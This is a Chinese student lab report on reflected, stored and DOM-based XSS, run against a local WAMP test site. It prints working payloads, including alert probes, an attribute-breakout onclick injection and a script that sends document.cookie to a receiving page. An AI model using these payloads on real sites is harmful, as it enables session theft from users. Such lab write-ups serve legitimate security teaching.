XSS跨站脚本攻击原理与实践 信息安全概论学习心得

一、实验目的

本次实验所涉及并要求掌握的知识点。

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

  它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。

  XSS的分类:

    反射型XSS

    存储型XSS

    基于DOM的XSS

    HTML基础知识:http://www.w3school.com.cn/html/

    JavaScript基础知识:http://www.w3school.com.cn/js/

二、实验环境

实验所使用的设备名称及规格,网络管理工具简介、版本等。

一台windows7、安装wampserver、火狐浏览器、Chrome浏览器

三、实验内容与实验要求

实验内容、原理分析及具体实验要求。

实验内容:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
原理分析:XSS攻击,指通过在页面注入恶意JAVASCRIPT代码,从而在用户浏览被注入恶意代码的页面时,控制用户的浏览器行为的一种攻击。
具体实验要求:根据实验指导书完成实验与实验报告

四、实验过程与分析

根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。

详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。

1、 反射型XSS
首先打开浏览器访问
xss.com/xss-ref.php,输入test测试并submit发现在网页上显示出test测试,如下图所示:

 

当在输入框输入<script>alert('xss')</script>弹出“XSS”这个字符。


 


输入其他的JS代码,<script>alert(document.cookie)</script>

空白是因为因为访问的这个页面它没有给我们设置cookie。
修改源代码

<?php

setcookie('username','xssuser');

session_start();

再次重复上述工作可以发现弹出cookie

我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。通过构建url编码的内容,我们输入<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>,可以在xss文件夹中的文件中获得用户的cookie,如下图所示:



2.存储型xss
存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库,用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失。

访问xss.com/xss-stor.php输入xss的测试代码,留言:<script>alert('xss')</script> 昵称:xssuser用Chrome访问该页面,发现刚访问就弹窗
点击确定后,可以看到留言内容出显示空白。如下图所示:

 

我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie。可以发现一打开页面就弹出了xss窗口。如下图所示:



3. 基于DOM 的XSS
它通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。
访问
http://xss.com/xss-dom.php可以查看页面的源代码如下图所示:

 

 

 

在测试页面鼠标右击,选择查看元素,点击最左上角的按钮查看蓝色部分代码,发现我们输入的标签在双引号中间,可以看出很明显的语法错误
我们要让他没有语法错误,就需要构造语句闭合一些标签,所以,我们首先需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后,就变成了“
在这里构造利用代码'>xssDom”。所以我们可以构造如下语句:
'>
输入后点击测试,发现并没有弹出提示窗,如下图。审查元素后我们发现我们应该用一个事件来触发行为构造
' οnclick=alert(/xss/) //
 

此时页面代码就变成了:<a href='' οnclick=alert(/xss/) //'>xssDom,再进行如上操作的时候就可以触发弹窗了。


页面在尝试加载路径为123 的图片时,无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。如果想要获取用户cookie,可以像步骤一一样,在onerror事件中,插入JS代码,通过JS网页面插入节点等。我们使用hackbar这一工具将我们要插入的字符串转成String.fromCharCode格式的,插入之后首先进入c:\wamp\www\xss目录下,把cookies.txt删除。

输入构造的语句后,点击测试后,然后去c:\wamp\www\xss目录下,可以看到cookies.txt又生成了,如下图所示:



要测试是没有成功获取到cookie还是没设置cookie导致的该文件内容为空,可以在浏览器控制台执行document.cookie,看是否有输出。观察下图我们发现已经设置了cookie:

 

 

五、实验结果总结

对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。

这一实验主要根据实验指导书完成了对于三种XSS攻击的基本操作,其中反射型XSS最为简单。而存储型XSS和基于DOM的XSS的效果更好,危害也更大。反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。存储型XSS,会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS不需要服务器。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值